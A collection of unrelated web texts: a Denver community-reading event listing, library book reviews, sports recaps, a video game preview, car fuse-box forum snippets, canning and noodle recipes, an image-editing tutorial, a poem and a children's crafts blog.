– Radio drama adapted and performed by University of Colorado at Denver students and airing on Colorado Public Radio
– Professional Readings at Crossroads Theater
– Poetry Slam by Café Nuba
– Dramatic readings by Stories on Stage
– Photo Contest: "Dogs are People Too: Show us you're your dog's "person"ality" presented by Arts & Venes Denver at www.denverartsinteractive.org
All events are free, but some require reservations. Visit www.denvergov.org/onebook for complete details and downloadable event guide.
Arts & Venues Denver's mission is to enhance Denver's quality of life and economic vitality through premier public venues, artwork and entertainment opportunities. The department seeks to maximize synergies and will continue to oversee public art, city permitting, Create Denver, and staple programming including One Book One Denver and Five Points Jazz Festival. Additionally, Arts & Venues Denver oversees many of Denver's most sophisticated, high-profile facilities including the Denver Center Performing Arts Complex, Red Rocks Park and Amphitheatre, the Denver Coliseum, this historic McNichols Building, and the newly acquired Crossroads Theatre.
* * *
The 2011 One Book, One Denver program is presented by Arts & Venues Denver and McDonald's.
Presenting Sponsor:
Media Sponsors:
Colorado Public Radio
Mix 100
Colorado Humanities & Center for the Book
Denver Public Library
Lighthouse Writers Workshop
The Oxford Hotel
University of Colorado at Denver
The Bloomsbury Review
Denver Biscuit Company
Denver Film Society
Denver House of Cards
Denver Parks & Recreation
Ceramics in the City
Learning Ally
Stories on Stage
Tattered Cover Book Store
The Seasoned Chef Cooking School
Denver Urban Spectrum
Café Nuba
Denver Municipal Animal Shelter
# # #


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No hassle, no grief. From first call till your settlement check. All communications are by e-mail or fax.


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I wish I had a nickel for every time I start a sentence with the words, "I wish…" I wish it would only rain at night and that the sun would shine all day long…I wish the wind would stop blowing; it's giving me a stretch of bad hair days like no other; I wish the pollen count were not so high (sniff, sniff). But, alas, the world is not a wish granting factory, and this is a direct quote from a book that I read recently.
So true, that statement, made by a teenager stricken with cancer, who, I know for fact after reading the book, "The Fault In Our Stars" by John Green, wished for many things much more complicated than a change in the weather. Such a good, awe-inspiring read, with believable characters who, as you delve deeper and deeper into the story, you cheer for, and truly wish only the best for.
In this young adult, fiction title, you'll meet Augustus Waters, a philosophical teenager who falls for Hazel Grace, a teenage girl with whom Augustus shares a common bond; they both have cancer. Meeting at a Cancer Support Group, the pair begin a friendship, finding even more common ground when Hazel inspires Augustus (Gus, for short) to read her favorite book, "An Imperial Affliction," the story of Anna, a young girl who also has cancer. Because "An Imperial Affliction" ends abruptly and leaves the reader hanging, both Gus and Hazel decide they would like to meet the author, reclusive Peter Van Houten, and the pair of them arrange to travel to Amsterdam to meet him and pick his brain for ideas of how the story may have ended. Now, I wish I could tell you the rest and how the story ends, but, my best advice is that you go to your local branch of JCPL, check the book out and revel in the drama for yourself. While you are there, I really wish you would check out some other great, new fiction titles to read after you reach the end of this one, so read on for more to add to your already growing wish list!
The devotion that Jillian Kane feels for her young children, Drew and Addie, moves her to leave her abusive and domineering husband, Gordon. Knowing that she is taking her life in her hands, she feels she must take a leap of faith, leaving behind the illusion of the storybook life that everyone believes she has been living. Fleeing with no money, no plan, and Gordon in hot pursuit, Jillian knows only one thing for certain; Gordon will kill her and take her children if she makes one wrong move and allows him to catch up with her. "Hush Little Baby" by Suzanne Redfearn takes the reader into the shame and degradation felt by women who are abused by their husbands, and who, out of desperation and love for their children, play the high-stakes game of leaving that life in exchange for peace and safety.
The death of Elizabeth Hampton's mother, Leslie, leaves Elizabeth bereft as well as responsible for her disabled brother, Ronnie. When it is discovered that Leslie did not die of natural causes, but was strangled, Ronnie becomes the chief suspect. Given to sudden outbursts, it is believed that Ronnie possibly lost control and murdered his mother, but as the investigation moves forward, and Leslie's will is read, a stranger comes into play, and there seem to be more questions than answers in "Never Come Back" by David J. Bell.
Harper Jennings is not superstitious. Visiting Israel along with her husband, Hank, while he attends a symposium, Harper and her baby, Chloe, are shopping in a market along with their guide, Hagit when Harper's attention is drawn to an American man who appears to be in trouble. Because she has the baby with her, Harper decides not to interfere, only to realize later that the man was murdered. Harper then decides that she and Chloe will be safer away from the market and takes an offer to take part in an archaeological dig, but Hagit is convinced it is the "evil eye," and that danger will follow them in "Outside Eden," book number 4 in the Harper Jennings series by Merry Jones.
If a genie came along and offered me three wishes, what would I wish for? My wish list is long, but to be realistic, my one wish for today would be to sit peacefully on a beach with a true and loyal companion by my side; and since dogs are not always allowed on the beach, my next choice would be a good book, one that fulfills my wish to be taken away; one from my local branch of JCPL!


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Remember the uproar over Lil Wayne's Thunder seats during the Western Conference Finals? Weezy said he was banned from sitting courtside at Game 3 because he was black. The Thunder said they merely ran out of acceptable tickets. The internet said Wayne was banned, but that James Harden orchestrated it because of a brewing love triangle with rapper Trina. Lost in the fog of all this is the simple math: Once Wayne absconded, the overmatched Thunder went 4-0.
Well, guess who's back?
It was fun while it lasted, OKC. Miami in four.


text: Jan 15, 2018 · 1997 - 2003 F150 - 2001 F150 Fuse Box Diagram - I just bought an 01 F150 and previous owner didn't have the manual. Does anyone have a copy of the fuse box diagram for this truck? If so, could you post here or email to me @ [email protected]? I've been surfing the net, and can't find what looks like the right one.. 2005 Ford F150 Fuse Box Diagram Relay, Locations, Descriptions, Fuse type and size. Your guide to find that blown fuse.. Buy 99 00 01 02 FORD F150 F-150 GEM MODULE FUSE BOX UNDER DASH YL3T14A067BA NO GEM: Everything Else - Amazon.com FREE DELIVERY possible on eligible purchases. Jul 13, 2017 · 2009 - 2014 Ford F150 - Melted Fuse 2013 F150 - What would cause the Fuel pump relay power 20 Mini Fuse to burn on the end before the fuse blew. Went to crank my truck this afternoon after work and it would only turn over an not start. So I started checking fuses and relays in the main fuse box under the hood in. 2009 Dodge Ram 1500 Fuse Box Diagram Identification Location (2009 09) plus Image Locate identify which fuse or relay is blown it may be located under dash under hood in trunk find the fuse for the radio tail light cigarette lighter blinker ac horn. 2004 Taurus Sable Fuse Box Locations for 2004 Taurus Sable fuse box. Locations for 2004 Taurus Sable fuse box. The underhood fuse box is called a Battery Junction box and is located on the driver's side of the engine compartment next to the battery (Rocket science to call it a battery junction box since it's next to the battery).. Buy Bussmann (NO.136) ATR/ATL and FMM Micro Fuse Box Assortment by Bussmann: Car Electronics - Amazon.com FREE DELIVERY possible on eligible purchases. Apr 09, 2012 · 2009 - 2014 Ford F150 - **update** service advancetrac light - I brought my truck to the dealer with the service advancetrac light on and turn signals not working, they did a scan and told me that there is a tsb on the service light, but the turn signal they have not seen before. They also said I have a boat load of. Mar 04, 2015 · Not sure this will help. It appears the SJB is connected to the battery though a pair of fusible links. The SJB has fuses, logic circuits, and some FETs (field effect transistors) to direct power to various items, including the headlamps.. Feb 26, 2009 · i have extensive knowledge on trailer light hookups, trans coolers, and brake controllers. any questions will be answered to the best of my knowledge. just letting people know out there because everyone runs into these problems and sometimes you pull your hair out trying to fix it.. Ohio lorain cleveland salvage junk yard county elyria avon lake north ridgeville grafton columbia station eaton westlake sheffield village cuyahoga country parts parting out Ford f150 f-150 truck trucks pullapart.com pull a part pick a part cars you pull we pull indoor yard cars truck camper campers boat boats northern ohio oh vermillion superduty super duty f250 f-250 f350 f-350 motorhome. Nov 02, 2009 · My fun finder 16 with 2 12volts, I can go almost three nights. This was in 45 degree weather and raining with us inside most of the time. Yep it was a bad weekend of camping.. STARTING PROBLEM I have a 2000 ford f150 5.4L the truck cranks but will not start some times. if i spray starter fliud into the booster in will start up. but other times the truck will start then just idle off. There is good fuel psi, just changed the fuel pump relay. the problem stop for a while.


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- Tyson Fury v Kevin Johnson
Fury booed as he outpoints Johnson
Tyson Fury took a step closer to a world title fight as he defeated Kevin Johnson with a unanimous decision victory in Belfast.
Fury, who takes his unbeaten record to 20 fights as a professional, failed to replicate the drama of rival David Price's knockout victory on Friday, but it was a disciplined performance as he came out on top in the Odyssey Arena.
The Brit, who is now in line for a shot at WBC heavyweight champion Vitali Klitschko, should the Ukrainian decided to return to the ring, sparked boos from the crowd as he failed to take the contest by the scruff of the neck against an opponent who only had three weeks' notice for the fight.
Johnson, who went the distance with Klitschko three years ago, appeared content to soak up much of the pressure before launching into a rare onslaught, pinning his opponent in the corner.
The American had the better of the seventh round, but was largely on the back foot as Fury showed glimpses of the of the fearsome power that has seen him secure 14 knockout wins in his career, only to lose momentum.
Having been called out by David Price following the Liverpudlian's second-round knockout of Matt Skelton on Friday night, Fury looked heavy on his feet as he shaded the early rounds.
Some stiff jabs and heavy combinations did enough to see him rack up the points, and some big body shots got him out of trouble when Johnson had him on the ropes. Although Fury appeared to step up the work rate in the sixth, he was warned by the referee for leaning into his opponent.
He raised his arms in triumph in the eighth round after a combination left Johnson reeling, but he was forced to drop his gloves quickly as Johnson struck back. Sections of the crowd began to show their frustration as the fight moved into the later stages, but Fury stuck to his game plan and secured a hard-earned win, with the judges scoring the fight 119-110 119-108 119-108 in his favour.
Meanwhile on the undercard, Chris Eurbank Jr enhanced his growing reputation as he extended his unbeaten record to eight professional fights with a 80-73 points win over Bradley Pryce.


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Before getting hands-on time with Duke Nukem Forever, Gearbox CEO Randy Pitchford talked to us about how the developer became a part of the Duke saga. After some persuasion, Gearbox was offered the keys to the beleaguered game (it has existed in one form or another for over a decade) and Pitchford jumped at the chance. "To us, it felt like Duke can't die," said Pitchford. The Gearbox boss also related his wife's insistence that he take up Duke's cause and that if he succeeded in making it happen, she'd give him – and this a direct quote – a "Chilean Miner." She would "go down the shaft and stay 'til Christmas."
Uh. Anyway.
The trailer shows off Duke in fine form, kicking alien ass with a variety of his best weapons, like the shrink ray, freeze ray, and Devastator. It looks like the aliens Duke punished in his earlier games are back – and they are here for our women. This personal affront to Duke leads him on a mission to kill everything in his way, including a giant alien queen with three breasts. And in typical Duke fashion, after seeing the entirety of this tri-boobed monster, the hero quips, "Hell, I'd still hit it."
At the conclusion of the trailer, a woman remarks to Duke that his new adventure looks great. "Yeah, but after twelve f---ing years, it should be," he responds as the logo – and icons for the PlayStation 3, Xbox 360, and PC – slam into place below it.
After the trailer, I was ushered into a gameplay area full of Duke kiosks for a fifteen-minute hands-on session. No guided tour. Just get in there and see for myself that this Great White Whale is finally being harpooned. Though Duke Nukem Forever was running on a PC, I played with an Xbox 360 controller.
The game opens with Duke standing at a urinal, doing his business. After zipping up, I walked through a football team's locker room as professional soldiers discussed the parameters of Operation: C--k Block. The mission would go awry within seconds, though, as a giant alien called a Cycloid wasted half of the squad. Well, that's because they were mere mortals. I'm Duke, so I grab a Devastator launcher and ride an elevator up to the football field above. The Cycloid is a two-story tall monster with Psychlo boots bought during a Battlefield: Earth prop fire sale. It wasn't difficult to circle the beast and unload the launcher, eventually bringing it to its knees. The killing blow, of course, is kicking its eyeball through the goal posts. Again, classic Duke humor.
After finishing off the football sequence, Duke heads to the desert in his truck to battle more aliens. (I struggled to get all of the story elements here as many of the kiosks did not have working sound until the end of the session.) The driving stuff was pretty typical. Avoid rocks. Run over aliens. Perform sweet jumps. Finally, my truck ran out of gas and I had to head out on foot, shooting up aliens with found weapons like the shrink ray. (Aiming the shrink ray at some of the aliens actually makes them turn tail.)
The demo ended with a set piece of Duke at a turret shooting at a horde of pigcops. After slaying the swine, an alien ship swooped down and blasted Duke out of the turret. As the ship lowered itself to the surface, Duke's hand slowly rose into the air... and extended the middle finger. And that was that.
So, does Duke Nukem share any DNA with Gearbox's breakout hit Borderlands? Not really. This demo indicates that Duke Nukem Forever is a traditional first-person shooter that leans heavily on the mythos surrounding the character and his exploits. However, Duke Nukem Forever is not stuck in time. It incorporates many genre updates from the last 12 years, such as regenerative health and Call of Duty-style zoom (aim down sights) with the left trigger.
Gearbox employs a lot of depth of field effects. Elements slam into focus when you concentrate on them, leaving the rest of the screen blurry. This is especially noticeable when you go toe-to-toe with aliens in direct firefights or when raising a scope. Duke Nukem is also bloody as hell, with the red sauce flying everywhere – even from the already dead.
Naturally, neither 2K nor Gearbox gave a hard date for Duke Nukem Forever. Sometime in 2011, that's it. That's not was this re-unveiling was about. This was about blowing minds, because show-goers were genuinely surprised to see that Duke Nukem Forever was not just at PAX, but was also something they could get their very own hands on for the first time.


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It has been three years since my last canning of green beans; this is not because I haven't wanted to, but because nature has not allowed me to! In both 2011 and 2012 I battled bugs, lots and lots of bugs. And I'm not talking about a bite here or a nibble there. Those tiny mouths of destruction waged an all-out war on my garden and made Swiss cheese of my bean patch! This year I had the bunnies to thank for completely devouring my plants before they ever had a chance to produce beans… that the bugs could then eat. The bunny mishap could have been prevented (and will be for next year's growing season); however, due to the time constraints of my "workforce" the garden gate has yet to be constructed. This translated into a big flashing sign that read EAT HERE!!! Sigh.
My non-existent green bean harvest has forced me to continually set aside a canning recipe I've been wanting to try out. Fortunately, Farmer Josh's second planting of beans was ready for the pickin', so I was able to secure a half-bushel along with my yearly order of corn.
Herbed Green Beans – yields 6 quarts
24 cups snap or wax beans, washed, ends trimmed, and cut into 1 inch pieces.
3 cups chopped onion
4 cloves garlic, minced
2 tbsp fresh oregano, chopped
3 tsp fresh rosemary, chopped
1 tsp celery seed
1/2 tsp pickling salt – optional
Place beans in a large stock pot and add enough water to cover the beans. Bring to a boil and cook, covered, for 5 minutes. Drain beans and return to pot and add onion, garlic, herbs, and if desired salt. Mix well to distribute herbs. Fill sterile quart or pint jars leaving 1″ headspace; add boiling water, leaving 1/2″ headspace. Remove air bubbles, wipe rims, and adjust lids to fingertip-tight. Process quarts for 25 minutes and pints for 20 minutes in a pressure canner at 10lbs-weighted-gauge or 11lbs for a dial-gauge, at sea-level.
Images and content copyright © 2013 Danielle R Limoge. Recipe adapted from a book I borrowed from the library several years ago and did not write down. I know, worst credit acknowledgement EVER!


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20 September 2010
Beautifully Punked
11:06 PM | Posted by Fiona Devil | | Edit Post
This tutorial was written for those with a working knowledge of Paint Shop Pro.
This tutorial was written by me and any resemblance to any other is purely coincidental.
Tutorial written on Monday 20th September 2010.
What you will need:
Paint Shop Pro - I used PSP X but any version will work.
I used Photoshop for the animated element but most will use Animation Shop. This step is optional, only if you want to add animation to your tag. (I use PS to do my animations as they don't appear as grainy once it is saved).
Filters Needed - Penta Dots and Crosses
Mask by Creative Desires 31 but you can use any. Save your mask to your mask folder.
I used the great work of ©SGH. You can find both the Tube and the Template I used HERE
I used this fabulous PTU Scrap kit by CBJ - Punked Up (Tagger Sized), you can purchase it HERE
Let's get started
Open up a transparent canvas 550 x 550
Open the Punked Up Paper 16 or your choice of paper and minimise for use for the mask. Select your Foreground and locate the paper in the pattern. Select. Select your flood fill tool and fill the canvas with the paper. Select Layers – Load/Save Mask – Load Mask from Disk. Select your mask. I had the Invert transparency ticked, then merged group.
Open your template in Paint Shop Pro. Copy the original by holding the shift + D and now close the original. Now go to Image – Resize – make sure the box is ticked for resize all and resize by 90%.
Select your frames and re-colour to match your tube. I used Punked Up Paper 9 for frames.
Copy your tube and position on the layer below the frame, move it around to where you want it.
Select your Vertical rectangle frame and select the inside with your magic wand. Go to selections – modify – expand by 3 pixels.
Select your tube inside the frame and go to selections – invert – hit the delete button to remove excess tube.
Select Luminance (Legacy) in the blend mode. Then go to Effects – Plugins – Filters Unlimited – Penta.com and select Dot and Cross with default settings OK.
I used the circle and the long rectangle provided in the template but made my own for the bottom. Using the papers for the rectangle shapes but just changed the colour for the circle.
I re-coloured the frames around the templates using the papers from the Punked Up scrap kit, you can do this or you can colour them to match your tube or leave them as they are.
Copy your tube and paste to the canvas, reduce to 68% Mirror the tube and apply drop shadow.
I used V 2, H -2, O 70 Blur 2.00 colour Black
Add your elements as you desire and place your tube where you want it.
Merge your layers and save your tag as a PNG or as a JPG. If you want to add animation to your tag like I have, save your tag as a PSD file. Now go to your animation shop and open the file you just saved.
Open your animation in animation shop. Make sure your propagate paste is selected in the toolbar. Select your tag you want to add the animation to. Copy your tag for the required amount of frames you need to accommodate the animation file. Click on the duplicate button on the toolbar. If you want to know how to add animation to tags in Photoshop, there are tutorials available for these.
I duplicated the tag to four frames for the butterfly animation that I made from the elements in the Punked Up scrap kit. I made the Butterfly animation in Photoshop using the puppet warp and the burn tool.
This is not included in the kit as an animated element.
Once you have the required frames. Highlight all frames and select all by holding the CTRL key and A on the keyboard.
Go to the animation tube and select all. Then copy all frames. Take this to your tag and holding the CTRL key and E paste the animation on the tag where you want it to be.
While the tag is still highlighted, go to Animation – Frame Properties and set to 20 – Okay.
Now save your tag as an animation. Using the default settings.
Your tag is now finished.
I hope you enjoyed doing this tutorial.
©FionaDevil Tutorials
Here is a different version of the same tag using the wonderful artwork of Elias Chatzoudis which can be purchased from PTE which is HERE
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Stir Fry Chicken Recipes
Mi Xao Ca Ri Ga (Vietnamese Chicken Noodle Stir Fry Recipe)
We had Vietnamese chicken curry earlier this week, so I used the leftovers to make this delicious chicken and tofu dish (mì xào cà ri gà). I have an aversion to wasting food, but that doesn't mean that the second life you breathe into a dish has to be any less wonderful than the original creation.
I shredded the chicken from the curry dish and made a stir-fry adding cubed tofu and vegetables available this season. To complete the meal, I added egg noodles. The dish couldn't be simpler to make, and it will work whether you have meat, poultry or seafood.
Full Recipe...
Chicken Chow Mein Noodles
I prepare Chicken Chow Mein with king mushrooms, tofu, broccoli, sugar snap peas, green beans, carrots and red bell peppers. The dish couldn't be simpler to make, and is definitely a family favorite. It's a great alternative to pasta, and it's an excellent way to make use of leftovers. I often combine the leftover chicken from my poulet roti with whatever vegetables we have on hand.
Chow Mein is one of the few dishes I can cook where it's very easy to make both vegetarian and meat versions simultaneously. I just set aside a portion of the dish before I add chicken to the rest.
Full Recipe...


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For OctPoWriMo Day 23 the Prompt is on the Greek Mythology tale of Iris the Godess or Rainbows and Arke her twin sister and what is the message of their tale. I'm combining this with the Tale Weavers prompt making sense of nonsense, using the nonsensical word cloppsright from Michael of MindLoveMisery's Menagerie.
Cloppsright, a definition,
A stereo type;
What they swear.
Not the lively,
Iris's fresh brilliance,
Providing hope,
After the storm.
I'm but a shape,
The form an arch;
One fallen,
A woman of sin.
Cloppsright, the curse.
Most use the 'F' word these days,
But it used to describe,
Their thoughts,
On a goddesses betrayal.
Chapped lips snarling, learing,
At my black corsettes, ruby red gowns,
Too showy, such a whore,
A little cloppsright.
Nothing compared to her radiance,
Iris the light.
The brightness of painting pigments.
A sky of azure vivacity,
She's utter joy.
I'm the darkness,
That seeps inbetween good,
Twisting its form.
The feeling in a room,
Causing you to shiver,
Your hair to rise on end,
When the house is quiet,
When floorboards creak,
My thoughts of loathing,
Of disgust, wreck the night.
For I am the tempestuous storm,
And she is the finale,
The glory of a promise made and kept.
Betrayal is a poison,
And she is but an Iris,
A beaming delight, a flower.
But I'm more than an Arke,
Shaping lights reflection.
Let her compose and carry,
Her own color.
I've torn myself from the sky,
The darker twin.
The seductive cloppsright so fallen,
Nature's disgrace;
Yet still there is power,
In the silence,
Of grim nights,
Before your fears become real;
My messages bring death,
Swear and say cloppsright,
Curse me in your native tongue.
For Iris she withers and Arke rises,
Up into the angry heavens.
©Mandibelle16. (2017) All Rights Reserved.


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BALTIMORE – UMBC women's lacrosse freshman Caroline Haggerty (Bel Air, Md./John Carroll School) connected on the first two goals of her career in her first collegiate start against High Point on Wednesday afternoon at UMBC Stadium, but it was not enough as the Panthers defeated the Retrievers, 16-6.
UMBC (2-3) falls for the first time in its last three games, while High Point snaps a two game skid to improve to 2-2 on the year.
The Retrievers cut an early 2-0 deficit in half when sophomore Rachel Benzing (Ellicott City, Md./Centennial) threw a pass from behind the net to an open Ali Carpenter (Baltimore, Md./McDonogh/Loyola). Carpenter slipped a shot past goalkeeper Julia Burns for her third score of the year, bringing the Retrievers back within one, 2-1, 7:57 into the contest.
UMBC trailed by two goals, 3-1, with 10:00 to go in the half, but High Point was able to pour in six goals in the final 9:55 of the opening half, each coming from a different player, to take a 9-1 lead at the break. The Panthers held a 17-6 advantage in shots in the period.
HPU red-shirt sophomore Emilie Pugliese connected with senior midfielder Christie Dougherty for a pair of scores to start the second half, but the Retrievers responded with back-to-back goals coming from senior Shannon Harkey (Purcellville, Va./Loudon Valley/Florida) and Haggerty, making it an 11-3 contest with 19:41 remaining. UMBC controlled the ensuing draw and had a chance to further cut into its deficit, but junior Abby Wilson's (Bel Air, Md./Fallston) free position shot was saved by Burns.
The Panthers put two more on the board before the 10 minute mark, but the Retrievers were not done yet, scoring three times in a span of 2:46, the first coming from Haggerty, followed by junior Alyssa Semones (Westminster, Md./Westminster/Penn State) and freshman Amber Kovalick (Davidsonville, Md./South River) scoring 23 seconds apart. Kovalick's goal was the first of her career and brought the score to 14-6 with 5:01 to go. High Point would chip in two more scores for further insurance.
The Retrievers placed 11 of its 13 shots on net in the contest, but HPU finished with a 28-13 shot advantage.
UMBC hits the road for a pair of contests, starting with a matchup at Drexel on Saturday, March 8. Game time is set for 1 p.m. at Vidas Field.


text: What does a green star rating – One Central Park apartments in Sydney received five stars, for instance – actually mean? AAP February 21, 2018 Greenwashing the property market: why 'green star' ratings don't guarantee more sustainable buildings Igor Martek, Deakin University and M. Reza Hosseini, Deakin University Buildings are central to creating more sustainable cities, and green ratings are often used to assess how well a building measures up against this goal. But the current system has serious flaws.


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Monday, August 30, 2010
* Mom Would Never Let Me Do This At Home Camp: Giant Marble Painting Outdoors with Kids!
During our VERY Messy
"Mom Would Never Let Me Do This At Home!" art camp last week,
we did Giant Marble Painting!
The kids had so much fun with traditional marble painting in my Rainbow Camps
and during Exploring Great Artists Camp (as an ode to Jackson Pollock)
We lined the bottom of our two wading pools with art paper, and the kids dunked
old golf balls and baseballs in trays of different colored paint.
Then they dropped them in the pools and used team work to roll them around.
It was great fun and the projects turned out really well.
The golf balls made a cool texture on the papers.
Pink and Green Mama
Labels: Backyard Fun, Explore, Paint
Thursday, August 26, 2010
* Mom Would Never Let Me Do This At Home Camp: Painting with Fly Swatters Outdoors!
I hosted my final art camp, "Mom Would Never Let Me Do This At Home! Art Camp"
last week and we went out with a messy bang!
The day was filled with outdoor projects and lots of abstract expressionism.
Our projects were so messy that we did all but one outdoors
and got progressively messier with each station.
One of our projects was "Fly Swatter Painting"inspired by Teacher Tom's blog
and his classroom antics; I picked up two big packages of fly swatters from our local dollar store.
I set out trays of paint in the grass and each kid labeled their paper before
we started working. Then, each kid grabbed a swatter, smacked it in the paintand started swatting their papers!
I wish I had a photo of the artists in action but I only got shots of their work when they were done.
This group of kids had a great time and we were covered in paint from head to toe by the end of camp-- I ended up just filling up two wading pools in my driveway with some mild soap
and hosed off all of the kids before returning them to their parents!
Happy Mess-Making!
Next up....
Large Scale Marble Painting!!
pink and green mama
Labels: Explore, Paint, Preschool, School Age
Monday, August 23, 2010
* Happy Anniversary Diorama
My sweet hubby and I recently celebrated our
12th Wedding Anniversary and 15 years together
and... 15 years of my sweet hubby being cancer free! Woo-Hoo
Our oldest daughter, "E" asked me (mysteriously) for a box of a certain
size before my hubby and I left for our mini-weekend retreat.
My mom graciously volunteered to keep her two favorite grandchildren for the weekend!
This adorable diorama was her surprise gift for us.
I love it!!
Best. gift. ever.
She said she might use peeps next year!
I asked her if she could add my two little girls ("E" and "C") but she said,
"No mama, it's supposed to be you guys on your anniversary- why would we be there too?!"
I love that she made me wearing my new purple dress I bought to wear to dinner
with my hubby (and my flip flops!) and my hubby in his weekend uniform
of a t-shirt and cargo shorts!! : )
Speaking of anniversaries...
Happy 41 YEARS to my own parents today!
pink and green mama
Labels: Diorama, Homemade Gifts, Paper Crafts
Friday, August 20, 2010
* Barbie School In A Box - Using Role Play To Relieve Back To School Anxiety
With the start of a new school year right around the corner,
I thought I'd dig into my archives and share this little gem
for any of you who have kids with back-to-school anxiety.
for any of you who have kids with back-to-school anxiety.
"E" was very nervous about starting Kindergarten 2 years ago
and we used this little xerox box classroom again for her sister, "C"
when she started her little preschool class last year.
when she started her little preschool class last year.
This one has been recycled, but we're planning to make a new one...
Not because anyone around here is nervous about school (this time)
but because they're super excited and can't wait to go back!
Here's the original post, in case you missed it the first time:
We made this mini classroom to role play what a typical day at school might be like.
It really helped my girls calm their fears about school.
I printed an alphabet chart, some classroom charts, and a color wheel (of course) off the internet.
Hooray for Google Images!
Hooray for Google Images!
You can Google classroom pictures (or visit teacher blogs)
and just print out their photos of bulletin board displays, etc.
and just print out their photos of bulletin board displays, etc.
You could get super crafty and just make your own but she wanted it to be "authentic"
(it's one of her favorite big words.)
Using an empty copy paper box from daddy's office,
(remember our Little House in the Big Woods box?)
we glued construction paper to the "walls" and added the printed pictures, and a felt rug.
Our Barbies and Kelly dolls have had quite a lot of fun there.
That's Miss Poisson, the teacher. She's really nice.
Sometimes they take field trips to the Ocean Sensory Box and swim with the fishies.
(or the Farm Sensory Box…. or the Winter Sensory Box)
Happy Crafty Role-Playing!
pink and green mama
Labels: Fall, Homemade Toys, Play, Preschool, School Age
Thursday, August 19, 2010
* Our Somewhere Over The Rainbow Land Of OZ Playscape
The girls and I ADORED
the DIY Land of OZ that
Lindsey and her girls made over at Filth Wizardry Blog
So inspired, in fact... that we bought our own copy
of the Wizard of Oz, watched it, and the girls and I made our own
Wizard of OZ play set with old polly pockets and some craft foam/foam core.
This post is dedicated to Lindsey as a heartfelt thank you
for such wonderful, inspiring ideas and for giving us
a wonderful memories
of a rainy afternoon spent together building this little play set yesterday!
We painted a pice of foam core to make the yellow brick road
(with a spiral just like the beginning of the road in the movie!)
See that little green castle? That was an old craft foam kit from Michaels Craft Store
that the girls had grown tired of playing with.
The girls gave it a fresh coat of green paint and some green glitter --
it was a perfect Emerald City.
We're off to see the Wizard!
(except we haven't made him yet...)
The Good Witch Glinda doesn't have a crown yet
(we're still looking for the perfect one...)
but the girls did bling out her dress with a nice
coating of glitter glue!
Dorothy and friends checking out the Emerald City.
That's the Field of Red Poppies on the left
(just before they get to the city)
The Wicked Witch of the West
with her green sharpie face, red sharpie stockings, felt cape and dress
and that's a food coloring lid super glued to her head as a hat (colored with black sharpie)
She and her monkeys have been busy flying around OZ and trying to catch
Dorothy and Toto.
The Tin Man and the Scarecrow -- more polly pockets...
The Tin Man is spray painted silver
with another food coloring bottle cap super-glued to his head
(black sharpie for bolts and a red sharpie heart)
(Don't tell the others but he is our Favorite!!)
The Scarecrow is more felt sewn and glued
to another Happy Meal doll toy.
Is that a house on your witch?
The Cowardly Lion is an old
Happy Meal Polly Pocket with a home-made
felt lion suit sewn to her and an altered sharpie marker face.
Dorothy is wearing a cut-up Polly Pocket dress
with a felt rectangle apron tied to her waist with a small blue ribbon.
Her Ruby Slippers were made by dipping her feet
in Red Acrylic Paint then dusting them with red Martha Stewart glitter.
Happy Playing!
pink and green mama
Labels: Fun With Felt, Homemade Toys, Permanent Marker, Play
Wednesday, August 18, 2010
* Mom Would Never Let Me Do This At Home Camp: Feet Painting
The group favorite (and by far the messiest!) activity yesterday at
"Mom Would Never Let Me Do This At Home!"art camp was painting with feet
and hands.... and elbows, and knees, and tushies!
It got a bit slippery but wasn't as chaotic as I expected.
I rolled out brown contractor's paper (from Lowe's Hardware store)
down the length of the sidewalk in front of my house.
We used aluminum trays (from the dollar store) with tempera paint (and a dash of liquid soap)
I loved the tie-dyed sidewalk and grass afterwards!!
My friend Jen, over at Paint Cut Pastedoes this with her sweet daughter, Novi.
She's the mom who actually WOULD let you do this at home!
Happy Mess-Making!
pink and green mama
Labels: Backyard Fun, Explore, Paint
Tuesday, August 17, 2010
Re-Cycled Collaborative Art: Back To School Collage Using Catalogs and Back to School Advertisements
The girls made this adorable "Waiting For the Bus"collage last week.
They are very excited about heading back to school!
They cut up a back-to-school kid's clothing catalog.
Our Hanna Andersson Catalog had all of these cute kids with adorable backpacks and
lunch boxes.
They worked together on it and it was the cutest thing ever
to see my two little girls working side-by-side on a collaborative art project.
"E" (age 7) did most of the drawing but "C" (age 3) got to help brainstorm ideas,
pick people to cut out, color, and glue down the photos.
Mom sat down with them and did a bit of coloring and cutting herself. We all had a lot of fun.
Such a fun way to use up all of those back to school newspaper flyers,
How fun would this be for a back to school project
(or a first week of school) group project for a bulletin board display?
The girls have planned our next pictures to be be a classroom and recess.
pink and green mama
Labels: Fall, Mixed Media, Paper Crafts, Preschool, Recycle Crafts, School Age
Saturday, August 14, 2010
* Pink and Green Mama Crafts: Rainbow Fun Art Camp Lesson Plans EBook
In case you didn't get to attend my
Rainbow Fun Art Camps this summer...
Now you can have your own Rainbow Fun at home!
(or in your classroom)
20 Colorful Art Lessons
in a 47-page PDF Formatted
Lesson Plan e-Book
Lesson Plan e-Book
for only $10.00
* Full-Color Templates
* Detailed Step-by-Step Photo Directions
* Detailed Step-by-Step Photo Directions
* Color Photos of actual Student Artwork
* Supply Lists
*Suggested Reading List (NEW!)
* Additional Activities
*Songs (NEW!)
*Suggested Reading List (NEW!)
* Additional Activities
*Songs (NEW!)
Packed with supply lists for each project,
photos of each completed project,
full-color templates, step-by-step photo instructions,
songs, bonus project ideas, suggested reading list,
and photos of student artwork;
this 47-page printable PDF
includes everything you need to create your own
Rainbow Fun Art Camp
lesson plans at home or in your classroom.
These lessons can be done
on a one-on-one basis
with your own child
or in a large group/classroom setting
with several children.
I've led small groups of 3-4 year olds
through all of these lessons
(with assistance from their parents)
as well as groups of 5-9 year olds
in my sumer art camps.
These lessons and projects are also wonderful
RAINBOW Birthday Party Activities!
We did several of them this
year at my daughter's
Rainbow-Themed 7th Birthday Party
and the projects were a big hit
with guests of all ages.
You can do several lessons at once,
like a real camp experience,
or spread them out over several days or weeks;
whatever works best for your schedule.
Many of the supplies for these projects
will come from your own art and craft stash,
kitchen pantry, garage, and recycling bin!
The PDF e-book is designed
to be printed out
(I recommend using card stock paper and putting it in a binder!)
or you can read it directly from
your own home or classroom computer screen.
This 47-page Art Lesson Book
is best suited for preschool (ages 3-4)
and elementary-school aged children (ages 5-9).
This $10.00 Art Lesson Collection includes:
20 Complete Rainbow Art Lessons
10 of my most-popular rainbow-themed blog art lessons
PLUS an additional 10 brand new
(never published on my blog) rainbow-themed art lessons!
To purchase the PDF:
Please click on the Add to Cart button below.
After you checkout from PayPal,
you will immediately be redirected to the download site.
